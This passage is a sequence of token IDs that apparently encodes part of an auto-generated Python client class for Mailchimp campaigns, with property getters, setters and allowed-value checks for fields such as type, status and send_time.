541, 2334, 796, 20352, 198, 220, 220, 220, 220, 220, 220, 220, 611, 6460, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 33692, 796, 6460, 198, 220, 220, 220, 220, 220, 220, 220, 611, 5553, 378, 62, 33692, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 25641, 378, 62, 33692, 796, 5553, 378, 62, 33692, 198, 220, 220, 220, 220, 220, 220, 220, 611, 9646, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 36280, 796, 9646, 198, 220, 220, 220, 220, 220, 220, 220, 611, 374, 824, 62, 404, 912, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 42216, 62, 404, 912, 796, 374, 824, 62, 404, 912, 198, 220, 220, 220, 220, 220, 220, 220, 611, 450, 62, 35312, 62, 404, 912, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 397, 62, 35312, 62, 404, 912, 796, 450, 62, 35312, 62, 404, 912, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1919, 62, 9517, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14557, 62, 9517, 796, 1919, 62, 9517, 198, 220, 220, 220, 220, 220, 220, 220, 611, 989, 62, 49736, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 13116, 62, 49736, 796, 989, 62, 49736, 198, 220, 220, 220, 220, 220, 220, 220, 611, 7585, 62, 13376, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 12381, 6315, 62, 13376, 796, 7585, 62, 13376, 198, 220, 220, 220, 220, 220, 220, 220, 611, 6117, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 28751, 796, 6117, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 4686, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 4686, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 317, 4731, 326, 24139, 21079, 428, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 4686, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 312, 628, 220, 220, 220, 2488, 312, 13, 2617, 353, 198, 220, 220, 220, 825, 4686, 7, 944, 11, 4686, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 4686, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 317, 4731, 326, 24139, 21079, 428, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 4686, 25, 383, 4686, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 312, 796, 4686, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 3992, 62, 312, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 3992, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 4522, 973, 287, 262, 11099, 354, 11011, 3992, 3586, 13, 3582, 428, 1923, 287, 534, 11099, 354, 11011, 1848, 379, 4600, 5450, 1378, 90, 17896, 27422, 28482, 13, 4529, 354, 11011, 13, 785, 14, 35012, 82, 14, 12860, 20924, 312, 34758, 12384, 62, 312, 92, 44646, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 3992, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 493, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 12384, 62, 312, 628, 220, 220, 220, 2488, 12384, 62, 312, 13, 2617, 353, 198, 220, 220, 220, 825, 3992, 62, 312, 7, 944, 11, 3992, 62, 312, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 3992, 62, 312, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 4522, 973, 287, 262, 11099, 354, 11011, 3992, 3586, 13, 3582, 428, 1923, 287, 534, 11099, 354, 11011, 1848, 379, 4600, 5450, 1378, 90, 17896, 27422, 28482, 13, 4529, 354, 11011, 13, 785, 14, 35012, 82, 14, 12860, 20924, 312, 34758, 12384, 62, 312, 92, 44646, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 3992, 62, 312, 25, 383, 3992, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 493, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 12384, 62, 312, 796, 3992, 62, 312, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2560, 62, 35012, 62, 312, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 2560, 62, 35012, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1002, 428, 1923, 318, 262, 1200, 286, 1194, 1923, 11, 428, 21079, 262, 2560, 1923, 13, 1114, 17934, 11, 329, 25012, 393, 17406, 341, 1751, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 2560, 62, 35012, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 8000, 62, 35012, 62, 312, 628, 220, 220, 220, 2488, 8000, 62, 35012, 62, 312, 13, 2617, 353, 198, 220, 220, 220, 825, 2560, 62, 35012, 62, 312, 7, 944, 11, 2560, 62, 35012, 62, 312, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 2560, 62, 35012, 62, 312, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1002, 428, 1923, 318, 262, 1200, 286, 1194, 1923, 11, 428, 21079, 262, 2560, 1923, 13, 1114, 17934, 11, 329, 25012, 393, 17406, 341, 1751, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2560, 62, 35012, 62, 312, 25, 383, 2560, 62, 35012, 62, 312, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 8000, 62, 35012, 62, 312, 796, 2560, 62, 35012, 62, 312, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2099, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 2099, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1318, 389, 1440, 3858, 286, 685, 35012, 82, 16151, 5450, 1378, 4529, 354, 11011, 13, 785, 14, 16794, 14, 37210, 12, 46981, 12, 4480, 12, 35012, 82, 34729, 345, 460, 2251, 287, 11099, 354, 11011, 13, 317, 14, 33, 27758, 9964, 423, 587, 39224, 290, 5553, 378, 9964, 815, 307, 973, 2427, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 2099, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 4906, 628, 220, 220, 220, 2488, 4906, 13, 2617, 353, 198, 220, 220, 220, 825, 2099, 7, 944, 11, 2099, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 2099, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1318, 389, 1440, 3858, 286, 685, 35012, 82, 16151, 5450, 1378, 4529, 354, 11011, 13, 785, 14, 16794, 14, 37210, 12, 46981, 12, 4480, 12, 35012, 82, 34729, 345, 460, 2251, 287, 11099, 354, 11011, 13, 317, 14, 33, 27758, 9964, 423, 587, 39224, 290, 5553, 378, 9964, 815, 307, 973, 2427, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2099, 25, 383, 2099, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3142, 62, 27160, 796, 14631, 16338, 1600, 366, 25638, 5239, 1600, 366, 8937, 489, 270, 1600, 366, 42216, 1600, 366, 25641, 378, 8973, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 407, 287, 3142, 62, 27160, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 44651, 1988, 329, 4600, 4906, 63, 37913, 15, 92, 828, 1276, 307, 530, 286, 1391, 16, 36786, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 18982, 7, 4906, 11, 3142, 62, 27160, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 4906, 796, 2099, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2251, 62, 2435, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 2251, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 3128, 290, 640, 262, 1923, 373, 2727, 287, 19694, 9849, 486, 5794, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 2251, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 4818, 8079, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 17953, 62, 2435, 628, 220, 220, 220, 2488, 17953, 62, 2435, 13, 2617, 353, 198, 220, 220, 220, 825, 2251, 62, 2435, 7, 944, 11, 2251, 62, 2435, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 2251, 62, 2435, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 3128, 290, 640, 262, 1923, 373, 2727, 287, 19694, 9849, 486, 5794, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2251, 62, 2435, 25, 383, 2251, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 4818, 8079, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 17953, 62, 2435, 796, 2251, 62, 2435, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 15424, 62, 6371, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 15424, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2792, 284, 262, 1923, 338, 15424, 2196, 287, 19694, 9849, 486, 5794, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 15424, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 17474, 62, 6371, 628, 220, 220, 220, 2488, 17474, 62, 6371, 13, 2617, 353, 198, 220, 220, 220, 825, 15424, 62, 6371, 7, 944, 11, 15424, 62, 6371, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 15424, 62, 6371, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2792, 284, 262, 1923, 338, 15424, 2196, 287, 19694, 9849, 486, 5794, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 15424, 62, 6371, 25, 383, 15424, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 17474, 62, 6371, 796, 15424, 62, 6371, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 890, 62, 17474, 62, 6371, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 890, 62, 17474, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2656, 2792, 284, 262, 1923, 338, 15424, 2196, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 890, 62, 17474, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 6511, 62, 17474, 62, 6371, 628, 220, 220, 220, 2488, 6511, 62, 17474, 62, 6371, 13, 2617, 353, 198, 220, 220, 220, 825, 890, 62, 17474, 62, 6371, 7, 944, 11, 890, 62, 17474, 62, 6371, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 890, 62, 17474, 62, 6371, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2656, 2792, 284, 262, 1923, 338, 15424, 2196, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 890, 62, 17474, 62, 6371, 25, 383, 890, 62, 17474, 62, 6371, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 6511, 62, 17474, 62, 6371, 796, 890, 62, 17474, 62, 6371, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 3722, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 3722, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 1459, 3722, 286, 262, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 3722, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 13376, 628, 220, 220, 220, 2488, 13376, 13, 2617, 353, 198, 220, 220, 220, 825, 3722, 7, 944, 11, 3722, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 3722, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 1459, 3722, 286, 262, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 3722, 25, 383, 3722, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3142, 62, 27160, 796, 14631, 21928, 1600, 366, 8957, 1484, 1600, 366, 15952, 5950, 1600, 366, 82, 1571, 1600, 366, 34086, 1600, 366, 66, 590, 992, 1600, 366, 66, 590, 1359, 1600, 366, 998, 1572, 8973, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 611, 3722, 407, 287, 3142, 62, 27160, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 44651, 1988, 329, 4600, 13376, 63, 37913, 15, 92, 828, 1276, 307, 530, 286, 1391, 16, 36786, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 18982, 7, 13376, 11, 3142, 62, 27160, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 13376, 796, 3722, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 7237, 62, 34086, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 7237, 62, 34086, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2472, 1271, 286, 7237, 1908, 329, 428, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 7237, 62, 34086, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 493, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 368, 1768, 62, 34086, 628, 220, 220, 220, 2488, 368, 1768, 62, 34086, 13, 2617, 353, 198, 220, 220, 220, 825, 7237, 62, 34086, 7, 944, 11, 7237, 62, 34086, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 7237, 62, 34086, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 2472, 1271, 286, 7237, 1908, 329, 428, 1923, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 7237, 62, 34086, 25, 383, 7237, 62, 34086, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 493, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 368, 1768, 62, 34086, 796, 7237, 62, 34086, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 3758, 62, 2435, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 3758, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 383, 3128, 290, 640, 257, 1923, 373, 1908, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 3758, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 4818, 8079, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 21280, 62, 2435, 628, 220, 220, 220, 2488, 21280, 62, 2435, 13, 2617, 353, 198, 220, 220, 220, 825, 3758, 62, 2435, 7, 944, 11, 3758, 62, 2435, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 3758, 62, 2435, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 383, 3128, 290, 640, 257, 1923, 373, 1908, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 3758, 62, 2435, 25, 383, 3758, 62, 2435, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 4818, 8079, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 21280, 62, 2435, 796, 3758, 62, 2435, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2695, 62, 4906, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 2695, 62, 4906, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1374, 262, 1923, 338, 2695, 318, 1234, 1978, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 2695, 62, 4906, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 11299, 62, 4906, 628, 220, 220, 220, 2488, 11299, 62, 4906, 13, 2617, 353, 198, 220, 220, 220, 825, 2695, 62, 4906, 7, 944, 11, 2695, 62, 4906, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 2695, 62, 4906, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 1374, 262, 1923, 338, 2695, 318, 1234, 1978, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2695, 62, 4906, 25, 383, 2695, 62, 4906, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3142, 62, 27160, 796, 14631, 28243, 1600, 366, 6494, 1600, 366, 6371, 1600, 366, 16680, 488, 4276, 8973, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2695, 62, 4906, 407, 287, 3142, 62, 27160, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 44651, 1988, 329, 4600, 11299, 62, 4906, 63, 37913, 15, 92, 828, 1276, 307, 530, 286, 1391, 16, 36786, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 18982, 7, 11299, 62, 4906, 11, 3142, 62, 27160, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 11299, 62, 4906, 796, 2695, 62, 4906, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 2476, 62, 9967, 62, 5420, 3447, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 2476, 62, 9967, 62, 5420, 3447, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 360, 13221, 274, 611, 262, 1923, 2476, 663, 7021, 47193, 416, 4756, 262, 3992, 12, 3106, 1923, 5464, 13, 2129, 31023, 290, 481, 1464, 1441, 3991, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 2476, 62, 9967, 62, 5420, 3447, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 50032, 62, 9967, 62, 5420, 3447, 628, 220, 220, 220, 2488, 50032, 62, 9967, 62, 5420, 3447, 13, 2617, 353, 198, 220, 220, 220, 825, 2476, 62, 9967, 62, 5420, 3447, 7, 944, 11, 2476, 62, 9967, 62, 5420, 3447, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 2476, 62, 9967, 62, 5420, 3447, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 360, 13221, 274, 611, 262, 1923, 2476, 663, 7021, 47193, 416, 4756, 262, 3992, 12, 3106, 1923, 5464, 13, 2129, 31023, 290, 481, 1464, 1441, 3991, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 2476, 62, 9967, 62, 5420, 3447, 25, 383, 2476, 62, 9967, 62, 5420, 3447, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 50032, 62, 9967, 62, 5420, 3447, 796, 2476, 62, 9967, 62, 5420, 3447, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 581, 437, 540, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 581, 437, 540, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 360, 13221, 274, 611, 262, 1923, 37782, 284, 307, 20315, 284, 1729, 12, 9654, 364, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 581, 437, 540, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 411, 437, 540, 628, 220, 220, 220, 2488, 411, 437, 540, 13, 2617, 353, 198, 220, 220, 220, 825, 581, 437, 540, 7, 944, 11, 581, 437, 540, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 581, 437, 540, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 360, 13221, 274, 611, 262, 1923, 37782, 284, 307, 20315, 284, 1729, 12, 9654, 364, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 581, 437, 540, 25, 383, 581, 437, 540, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 411, 437, 540, 796, 581, 437, 540, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 20352, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 20352, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 